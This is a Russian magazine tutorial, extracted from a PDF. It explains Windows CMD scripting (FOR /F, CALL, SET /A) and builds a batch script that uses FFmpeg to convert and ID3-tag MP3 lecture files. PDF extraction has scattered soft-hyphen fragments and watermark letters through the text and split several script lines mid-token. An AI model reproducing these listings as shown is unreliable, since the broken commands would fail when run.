действу­ ет­ кодировка­ CP866

(DOS), с которой не умеет­ работать штатный­

тексто­ вый­

редактор­ «Блокнот­ ».

Чтобы­ читать полученный­

тексто­ вый­

файл

в блокноте­

, надо перед фор

мированием­

файла­ установить­

кодировку­ CP1251 (Windows). В результате­

изучать­

документацию­

можно­ с помощью команды­

 

 

 

notepad.exe help-for.txt

Разберем­ принцип­ работы языка­ сценари­ ­ев с тексто­ ­выми файлами­ на сле ­ дующем примере­ . Предположим­ , у нас есть CSV-файл employees.csv со следующим­ содержимым­ в кодировке­ CP1251:

#ШТАТНОЕ РАСПИСАНИЕ

#ООО «Админ на час»

#ТабельныйНомер;Фамилия;Имя;Отчество;Должность;Оклад

1;Иванов;Иван;Иванович;директор;300

2;Петров;Петр;Петрович;главбух;200

3;Сидоров;Сидор;Сидорович;сисадмин;100

Применим­ к нему команду­ test-for.cmd employees.csv, где файл testfor.cmd содержит­ следующий­ сценарий­ :

@ECHO OFF

CHCP 1251 > NUL:

FOR /F "eol=# tokens=2,3,5 delims=;" %%I IN (%1) DO ECHO %%J %%I - %%

K

CHCP 866 > NUL:

Ключ /F инструк­ ции­ FOR заставля­ ет­ ее обрабаты­ вать­ содержащи­ еся­ в тексто­ ­ вом файле­ строки­ с именем­ , переданным­ в качестве­ первого­ параметра­ командной­ строки­ , в соответс­ твии­ с описани­ ем­ структуры­ тексто­ вого­ файла­ , которое заключено­ в кавычки­ . Элемент­ eol этого­ описания­ задает­ символ­ (он может быть только­ один), которым начинается­ одностроч­ ный­ коммента­ рий­ (в приведен­ ном­ примере­ это символ­ решетки­ #). Такой выбор позволя­ ет­ исклю ­ чить из обработ­ ки­ первые­ три строки­ файла­ employees.csv. Пустые­ строки­ в обработ­ ке­ тоже не участву­ ют­ , поэтому­ и его четвертая­ строка­ будет про ­ пущена­ .

В элемен­ те­ tokens через запятую перечисляют­ ся­ порядковые­ номера интересу­ ющих­ разработ­ чика­ информацион­ ных­ полей, значения­ которых раз ­ деляются­ в обрабаты­ ваемой­ строке­ символами­ разделите­ лями­ , указан­ ными­

в элемен­ ­те delims. В приведен­ ­ном примере­ это второе­ , третье и пятое поле, что соответс­ ­тву­ет фамилии, имени­ и должнос­ ­ти. В качестве­ разделите­ ­ля будет использован­ символ­ точка­ с запятой, но при необходимос­ ­ти в элемен­ ­те delims можно­ указать­ один за другим­ сразу­ несколь­ ­ко символов­ разделите­ ­ лей.

Несколь­ ­ко идущих­ подряд­ разделите­ ­лей считают­ ­ ся одним, а стоящий­ в самом начале строки­ раз ­ делитель игнориру­ ­ется. Последнее­ свойство­ инс ­ трукции­ FOR позволит­ организо­ ­вать хранение­

и обработ­ ­ку двух списков­ в одном тексто­ ­вом файле­ .

После­ описания­ структуры­ в инструк­ ции­ FOR указыва­ ется­ имя переменной­ , которой присвоит­ ся­ значение­ первого­ поля обработан­ ной­ строки­ . В при ­ веденном­ примере­ фамилия будет записана­ в переменную­ %%I. Значения­ остальных­ полей будут присвоены­ переменным­ , следующим­ после­ указан­ ной­ в алфавит­ ном­ порядке­ . В рассмат­ рива­ емом­ примере­ фамилия и должность­ попадут в переменные­ %%J и %%K соответс­ твен­ но­ .

На каждой­ итерации­ цикла­ FOR переменные­ инициали­ зиру­ ются­ значени­ ­ ями соответс­ тву­ ющих­ полей, после­ чего они могут использовать­ ся­ в команде­ , которая записывает­ ся­ в инструк­ ции­ FOR после­ слова­ DO. В приведен­ ном­ при ­ мере это команда­ ECHO, печатающая­ строку­ вида "Имя Фамилия - Должность". В результате­ обработ­ ки­ файла­ employees.csv на экран будут выведены­ строки­ :

0

Иван Иванов­ - директор­ 0 Петр Петров­ - главбух­ 0 Сидор­ Сидоров - сисадмин­

0

Коман­ ды­ CHCP в сценарии­ test-for.cmd нуж ­ ны только­ для того, чтобы­ коррек­ тно­ отображал­ ся­ текст в Windows-кодировке­ , а конструк­ ции­ ... > NUL: использованы­ для подавления­ вывода их информацион­ ных­ сообщений­ "Текущая

кодовая страница такая-то".

Модер­ ­низации подвер­ ­гся и механизм вызова подпрог­ ­рамм. Если в BAT-сце нариях­ инструк­ ­ция CALL позволяла­ только­ передать управление­ находящему­ ­ ся в другом­ файле­ BAT-сценарию­ с последу­ ­ющим возвра­ ­том, то в CMD-сце ­ нариях­ появилась­ возможность­ времен­ ­ной передачи­ управления­ внутри­ выполняюще­ ­гося сценария­ . К сожалению­ , после­ перехода­ по метке­ отсутс ­ твует­ возможность­ досрочно­ ­го возвра­ ­та в точку­ вызова, то есть подпрог­ ­ раммой считает­ ­ся код от метки­ до конца­ файла­ .

Работу­ подпрог­ ­раммы рассмот­ ­рим на исправленном­ сценарии­ , который не только­ выводит информацию­ о сотрудни­ ­ках, но и подсчи­ ­тыва­ет фонд заработной­ платы­ .

@ECHO OFF

SET TOTAL=0

CHCP 1251 > NUL:

FOR /F "eol=# tokens=2,3,5,6 delims=;" %%I IN (%1) DO CALL :CALCULATE

%%I %%J %%K %%L

ECHO *** Фонд зарплаты: %TOTAL% ***

CHCP 866 > NUL:

SET TOTAL=

GOTO :EOF

:CALCULATE

ECHO %2 %1 - %3 (%4)

SET /A TOTAL=%TOTAL%+%4

Посколь­ ку­ теперь на каждой­ итерации­ цикла­ требует­ ся­ выполнять­ не одну команду­ , а несколь­ ко­ , то удобно­ в операто­ ре­ FOR заменить команду­ печати ECHO командой­ вызова подпрог­ раммы­ CALL. После­ слова­ CALL указыва­ ется­ метка­ строки­ , с которой начинается­ подпрог­ рамма­ (в приведен­ ном­ примере­

это :CALCULATE), а дальше­ следуют­ аргумен­ ты­ , значения­ которых в подпрог­ ­ рамме будут присвоены­ параметрам­ %1, %2, %3 и так далее по количеству­ аргумен­ тов­ . В приведен­ ном­ примере­ их четыре: Фамилия, Имя, Должность

иОклад.

Вподпрог­ ­рамме :CALCULATE выполняют­ ­ся все необходимые­ для обработ­ ­ ки полей информацион­ ­ной строки­ действия­ . Во первых­ , команда­ ECHO

печатает­ информацию­ о сотрудни­ ке­ , дополненную­ величиной­ его оклада­ . Во вторых­ , инструк­ ция­ SET (тоже модернизиро­ ван­ ная­ и дополненная­ приз ­ наком выполнения­ арифметичес­ ких­ операций­ /A) увеличи­ вает­ значение­ переменной­ TOTAL, инициали­ зиро­ ван­ ной­ нулевым значени­ ем­ , на величину­ оклада­ сотрудни­ ка­ .

Как бы тебе ни хотелось украсить­ листинг­ сце ­ нария, ни в коем случае­ не вставляй­ пробелы­

в инструк­ ­ции SET между­ именем­ переменной­ , знаком­ равенства­ и присваиваемым­ значени­ ­ем. В этой инструк­ ­ции каждый­ пробел­ имеет­ зна ­ чение!

Когда­ цикл FOR завершит­ обработ­ ­ку информацион­ ­ных строк файла­ со штат ­ ным расписани­ ­ем, следующей­ командой­ ECHO будет распечатан­ общий фонд зарпла­ ­ты, после­ чего команда­ SET удалит­ переменную­ TOTAL. Одна из важ ­ нейших­ ролей в этом заключитель­ ­ном блоке­ отведена­ команде­ безусловно­ ­го перехода­ GOTO, которая служит­ барьером­ между­ основной программой­

и подпрог­ ­раммой. Она передает­ управление­ на виртуаль­ ­ный конец сценария­ , которому­ соответс­ ­тву­ет предоп­ ­ределен­ная метка­ :EOF, в результате­ чего сценарий­ завершает­ свою работу.

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

g

.c

 

 

 

 

p

 

 

c

 

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

 

АВТОМАТИЧЕСКИ КОНВЕРТИРУЕМ И АННОТИРУЕМ АУДИОФАЙЛЫ В WINDOWS

РАЗРАБОТКА ПРОТОТИПА КОМАНДНОГО СЦЕНАРИЯ

 

 

 

 

 

 

 

 

 

 

Теперь­

, когда­ возможнос­

ти­ FFmpeg и языка­ командных­

сценари­

ев­ проясни­

­

лись, можно­ приступать­

к решению нашей задачи — разработ­

ке­

сценария­

для конверта­

ции­

и назначения­

ID3-тегов аудиофай­

лам­

из

 

коллекции­

.

Для начала решим, как будет хранить­

ся­ информация­ о тегах.

 

 

 

 

 

 

 

 

 

 

Аудиофай­

лы­ обычно­ существу­ ют­ не сами по себе, а сгруппирова­

ны­ в аль ­

бомы, которые издатели­

записывают­

на один информацион­

ный­

носитель:

компакт­ диск, виниловую­

пластинку­

и прочее­ . Поэтому­ в одном информа ­

ционном­

тексто­ вом­

файле­ будем хранить­

теги для одного­ такого альбома­

.

Если проана­ лизи­

ровать­

множес­ тво­ ID3-тегов, то можно­ выделить в нем две

категории­ : теги, которые относят­ ся­ ко всему­ альбому­

 

в целом (например­

,

название­

альбома­

 

и

 

исполнитель­

альбома­

),

и

теги,

 

которые относят­ ся­

к отдельному­

треку­ (номер трека­ на носителе­ , название­

трека­ , исполнитель­

трека­ ).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Чтобы­

 

не

дублировать­

для

каждого­

аудиофай­

ла­ «альбом­ ные­ » теги,

запишем их один раз в заголовке­ информацион­

ного­

файла­ . Теги для отдель ­

ных треков­

удобно­

хранить­

в строках­ тексто­ вого­

файла­ с разделите­

лями­

.

В качестве­

разделите­

ля­

 

будем

использовать­

символ­ , встретить­

который

в значени­

ях­ тегов маловероят­

но­ . Я выбрал­ символ­ тильда­ ~. А для альбом­ ных­

тегов, которые естествен­

но­ представ­ лять­

в виде пар "ТЕГ=ЗНАЧЕНИЕ­

", было

решено использовать­

в качестве­ разделите­

ля­ знак равенства­ =.

 

 

 

 

 

 

 

 

Вырисо­

выва­

ется­

следующая­

структура­

информацион­

ного­

файла­ :

 

 

 

 

 

ALBUM=Название альбома

ARTIST=Исполнитель альбома

1~Название первого трека~Исполнитель первого трека

2~Название второго трека~Исполнитель второго трека

...

Ориенти­ руясь­ на разработан­ ную­ структуру­ , наброса­ ем­ прототип­ командно­ го­ сценария­ , который будет ее использовать­ для обработ­ ки­ аудиофай­ лов­ .

@ECHO OFF

REM ===================

REM Основная программа.

REM ===================

CHCP 65001 > NUL:

SET ID3TAGS=SRC\id3tags.txt

SET ALBUM_TITLE=

SET ALBUM_ARTIST=

FOR /F "eol=~ tokens=1,2* delims==" %%I IN (%ID3TAGS%) DO CALL :

PROCESSING header %%I "%%J"

ECHO

Альбом.........

%ALBUM_TITLE%

ECHO

Исполнитель....

%ALBUM_ARTIST%

FOR /F "eol== tokens=1,2,3 delims=~" %%I IN (%ID3TAGS%) DO CALL :

PROCESSING body %%I "%%J" "%%K"

SET ALBUM_TITLE=

SET ALBUM_ARTIST=

CHCP 866 > NUL:

GOTO :EOF

REM ==============================

REM Подпрограмма обработки записи.

REM ==============================

:PROCESSING

IF "%1"=="header" GOTO :HEADER

IF "%1"=="body" GOTO :BODY

ECHO *** Ошибка: неизвестный способ обработки "%1". ***

GOTO :EOF

REM ------------------------------------

REM Обработка записи из заголовка файла.

REM ------------------------------------

:HEADER

SHIFT

IF "%1"=="ALBUM" SET ALBUM_TITLE=%2

IF "%1"=="ARTIST" SET ALBUM_ARTIST=%2

GOTO :EOF

REM -------------------------------

REM Обработка записи из тела файла.

REM -------------------------------

:BODY

SHIFT

ECHO DEBUG: %1 %2 %3

Посколь­ ­ку для тегов предпочти­ ­тель­но использовать­ кодировку­ Unicode, то все тексто­ ­вые файлы­ , как со сценари­ ­ем, так и со значени­ ­ями тегов, должны­ быть сохранены­ в формате­ UTF-8. В соответс­ ­твии с этим для сеанса­ коман ­ дной строки­ устанав­ ­лива­ется кодовая страница­ 65001. Предполага­ ­ется, что исходные аудиофай­ ­лы будут хранить­ ­ся в подкатало­ ­ге SRC, а преобра­ ­зован ­ ные файлы­ — записывать­ ­ся в подкаталог­ TGT текущего­ каталога­ . Информация­

о тегах будет хранить­ ­ся вместе­ с исходными­ файлами­ в тексто­ ­вом файле­ SRC\id3tags.txt описан­ ­ной выше структуры­ .

При сохранении­ тексто­ вых­ файлов­ в формате­ UTF-8 обращай­ внимание­ , что ­ бы они не предварялись­ маркером­ последова­ тель­ нос­ ти­ байтов­ BOM. Коман ­ дный процес­ сор­ не умеет­ его правиль­ но­ обрабаты­ вать­ , в результате­ чего он не распозна­ ет­ первую­ команду­ @ECHO OFF и при работе сценария­ на экран выводится­ много­ «мусора». В крайнем­ случае­ можно­ сделать­ первую­ строку­ сценария­ пустой­ , но и тогда­ его вывод будет начинаться­ с сообщения­ :

"я╗┐" не является внутренней или внешней

командой, исполняемой программой или пакетным файлом.

Посколь­ ку­ в информацион­ ном­ файле­ присутс­ тву­ ют­ два блока­ разной­ струк ­ туры, он будет обрабаты­ вать­ ся­ в два прохода­ двумя­ циклами­ FOR. Первый­ цикл присвоит­ значения­ альбом­ ных­ тегов переменным­ окружения­ сценария­ с тем, чтобы­ их можно­ было в дальнейшем­ использовать­ для каждого­ ауди ­

офайла­ . Второй­ цикл на каждой­ итерации­ будет запускать­ FFmpeg для обра ­ ботки­ аудиофай­ ла­ .

И здесь нужно­ найти­ метод, который позволит­ различать­ информацион­ ­ные строки­ первого­ и второго­ типов. Это можно­ сделать­ разными­ способа­ ­ми. Я решил использовать­ символ­ — разделитель­ полей одного­ блока­ в качестве­ признака­ коммента­ ­рия для другого­ блока­ и в начало каждой­ информацион­ ­ ной строки­ добавить символ­ разделитель­ , после­ чего структура­ информа ­ ционного­ файла­ приняла­ такой вид:

=ALBUM=Название альбома

=ARTIST=Исполнитель альбома

~1~Название первого трека~Исполнитель первого трека

~2~Название второго трека~Исполнитель второго трека

...

После­ этого­ первый­ цикл воспри­ нима­ ет­ строки­ второго­ блока­ как коммента­ ­ рии, а второй­ цикл так же относит­ ся­ к строкам­ первого­ блока­ .

Средства­ работы с подпрог­ рамма­ ми­ в языке­ CMD-сценари­ ев­ довольно­ ограничен­ ны­ . Из за отсутствия­ инструк­ ции­ досрочно­ го­ возвра­ та­ из подпрог­ ­ раммы пришлось­ моделировать­ в одной подпрог­ рамме­ работу несколь­ ких­ виртуаль­ ных­ подпрог­ рамм­ . Для этого­ через аргумент­ инструк­ ции­ CALL передается­ имя виртуаль­ ной­ подпрог­ раммы­ ("header" или "body"), которое анализи­ рует­ ся­ в начале настоящей­ подпрог­ раммы­ (:PROCESSING). После­ это ­ го выполняет­ ся­ переход к блоку­ инструк­ ций­ вызванной­ виртуаль­ ной­ подпрог­ ­ раммы (на метку­ :HEADER или :BODY). Чтобы­ исключить­ ставшее­ ненужным­ имя подпрог­ раммы­ из списка­ полученных­ параметров­ , виртуаль­ ные­ подпрог­ ­ раммы начинаются­ с инструк­ ции­ SHIFT.

Если­ сейчас­ выполнить­ приведен­ ­ный прототип­ сценария­ , то на экране­ отобразят­ ­ся следующие­ строки­ :

Альбом.........

"Название альбома"

Исполнитель....

"Исполнитель альбома"

DEBUG:

1

"Название

первого трека" "Исполнитель

первого

трека"

 

DEBUG:

2

"Название

второго трека" "Исполнитель

второго

трека"

 

Значит­ ,

разбор­

тексто­ вого­

файла­

со значени­

ями­

тегов работает­ так,

как задумано­ , и можно­ переходить­

к реализации­ обработ­ ки­ аудиофай­

лов­

с помощью FFmpeg.

 

 

 

 

 

 

 

СЦЕНАРИЙ ПАКЕТНОЙ ОБРАБОТКИ АУДИОФАЙЛОВ

Для выполнения­ реальных­ операций­ над файлами­ надо в прототи­ ­пе сценария­ заменить отладоч­ ­ный вывод ECHO DEBUG... на блок инструк­ ­ций, которые эти операции­ будут выполнять­ . Я оформил­ этот блок следующим­ образом­ :

SET MP3FN=%1.mp3

IF NOT EXIST SRC\%MP3FN% SET MP3FN=0%1.mp3

IF NOT EXIST SRC\%MP3FN% SET MP3FN=00%1.mp3

IF NOT EXIST SRC\%MP3FN% GOTO :BODY_FNF

SET SRCFN="SRC\%MP3FN%"

SET TGTFN="TGT\%MP3FN%"

ECHO Конвертация файла %SRCFN% -^> %TGTFN%

%FFMPEG% -i %SRCFN% -i %COVER% -map 0 -map 1 -c:a libmp3lame -ar %FQ%

-b:a %BR% -ac %AC% ^

-f mp3 -id3v2_version 3 -map_metadata -1 ^

-metadata album=%ALBUM_TITLE% -metadata album_artist=%

ALBUM_ARTIST% ^

-metadata track="%1" -metadata title=%2 -metadata artist=%3 ^

-metadata:s:v title="Album cover" %TGTFN%

GOTO :EOF

:BODY_FNF

ECHO *** Ошибка: не найден файл для трека №%1. ***

Корот­ кое­ имя файла­ по его порядковому­ номеру формиру­ ется­ и записывает­ ­ ся в переменную­ MP3FN первой­ инструк­ цией­ SET. В моих коллекци­ ях­ ауди ­ офайлы­ хранят­ ся­ под своими­ порядковыми­ номерами­ в альбомах­ : 01.mp3, 02.mp3, 03.mp3, ..., 10.mp3, 11.mp3... В сценарии­ для универ­ саль­ нос­ ти­ я предположил­ , что номер в имени­ файла­ может не содержать­ ведущего­ нуля: 1.mp3, 2.mp3 и так далее. Чтобы­ автомати­ чес­ ки­ обрабаты­ вались­ файлы­ вплоть до трехразряд­ ных­ номеров, дальше­ следуют­ инструк­ ции­ IF, добав ­ ляющие ведущие нули к имени­ файла­ , если таковой отсутству­ ет­ в папке­ SRC. Если отсутству­ ет­ файл и с трехразряд­ ным­ номером, то будет выдано сооб ­ щение об ошибке­ .

В случае­ успеха­ в переменные­ SRCFN и TGTFN записывают­ ся­ полные­ имена­ входного­ и выходного­ аудиофай­ лов­ , значения­ которых используют­ ся­ в коман ­ дной строке­ FFmpeg. Командная­ строка­ получилась­ довольно­ длинной­ , и, что ­ бы разбить­ ее на части­ , пришлось­ восполь­ зовать­ ся­ символом­ экраниро­ вания­ перевода­ строки­ , роль которого­ в командной­ строке­ Windows играет­ не обратная наклонная­ черта­ \, как можно­ было бы подумать, а крышка­ ^.

Парамет­ ­ры командной­ строки­ FFmpeg должны­ быть понятны­ из предыду­ ­ щих примеров­ . Разве­ что может возникнуть­ резонный­ вопрос­ , откуда­ возь ­ мутся­ значения­ переменных­ : имя файла­ с изображени­ ­ем обложки %COVER%, частота­ дискре­ ­тиза­ции %FQ%, скорость­ потока %BR% и количество­ аудиодо­ ­ рожек %AC%. Действи­ ­тель­но, их надо определить­ в начале сценария­ , дополнив­ блок инициали­ ­зации переменных­ окружения­ строками­

SET FFMPEG="%ProgramFiles%\ImageMagick-7.1.0-Q8\ffmpeg.exe"

SET COVER=SRC\cover.jpg

SET FQ=22050

SET BR=32k

SET AC=1

Получив­ ший­ ся­ сценарий­ я применил­ для обработ­ ки­ аудиоза­ писей­ лекций­ цикла­ «Восток­ (Лекторий­ ВШЭ)», стереофай­ лы­ которых с частотой­ дискре­ ­ тизации­ 44 100 Гц при скорос­ ти­ потока 128 Кбит занимали­ на дис ­ ке 877 Мбайт. Объем­ преобра­ зован­ ных­ файлов­ уменьшил­ ся­ до 219 Мбайт (то есть пример­ но­ в четыре раза), а тембр речи лекторов­ субъективно­ даже улуч ­ шился.

Резуль­ тат­ аннотиро­ вания­ MP3-файлов­ с аудиоза­ пися­ ми­ лекций­

УЛУЧШЕНИЕ СЦЕНАРИЯ

По большому­ счету­ поставлен­ ную­ в этой статье задачу уже можно­ считать­ решенной­ . Однако­ , как известно­ , начав программи­ ровать­ (пусть даже на язы ­ ке сценари­ ев­ ), потом очень трудно­ остановить­ ся­ . В описании­ тегов ID3 мож ­ но обнаружить­ , что допускает­ ся­ нумерация­ трека­ в формате­ "i/n", где i — порядковый­ номер трека­ , а n — общее количество­ треков­ в альбоме­ . Почему бы не восполь­ зовать­ ся­ арифметичес­ кими­ способ­ ностя­ ми­ инструк­ ции­ SET и не подсчи­ тать­ это количество­ , чтобы­ формировать­ тег номера в рас ширенном­ формате­ ?

Конеч­ ­но, это потребу­ ­ет еще одной переменной­ для подсче­ ­та треков­ и дополнитель­ ­ного прохода­ по информацион­ ­ному файлу­ с помощью инструк­ ­

ции FOR с вызовом подпрог­ раммы­ , выполняющей­ инкремен­ тирова­ ние­ зна ­ чения переменной­ для каждой­ обнаружен­ ной­ записи об аудиофай­ ле­ .

Добавим­ в блок инициали­ ­зации переменных­ строку­

SET TOTAL=0

А после­ первой­ инструк­ ции­ FOR, выполняющей­ инициали­ зацию­ альбом­ ных­ переменных­ , добавим строку­ для подсче­ та­ треков­ :

FOR /F "eol== tokens=1 delims=~" %%I IN (%ID3TAGS%) DO SET /A TOTAL=

TOTAL+1

Теперь­ можно­ расширить­ блок печати информации­ об обрабаты­ ваемом­ аль ­ боме строкой­

ECHO Треков......... %TOTAL%

Осталось­

в командной­

строке­ FFmpeg заменить назначения­

ID3-тега

с номером трека­ на -metadata track="%1/%TOTAL%". С этого­ момента­

сце ­

нарий начнет­ аннотиро­

вать­

MP3-файлы­ номером трека­ в расширен­

ном­

фор ­

мате.

 

 

 

 

 

 

Здесь можно­ загрузить­ исходные­ данные­ и код, использован­ ные­ в статье.

ЗАКЛЮЧЕНИЕ

В результате­ проделан­ ­ной работы мы получили­ удобный­ инстру­ ­мент для пакетной­ обработ­ ­ки аудиофай­ ­лов. Если принять­ во внимание­ , что FFmpeg умеет­ еще и обрабаты­ ­вать видеофай­ ­лы и файлы­ с изображени­ ­ями, а сценарий­ автомати­ ­зации без особых­ проблем­ адаптиру­ ­ется для решения других­ подобных­ задач, то инстру­ ­мент этот можно­ назвать­ универ­ ­саль­ным. При этом графичес­ ­кая оболоч­ ­ка не скрывает­ от нас возможнос­ ­тей базовой утилиты­ , а для программи­ ­рова­ния достаточ­ ­но штатного­ тексто­ ­вого редактора­ операци­ ­онной системы­ .

Соседние файлы в папке журнал хакер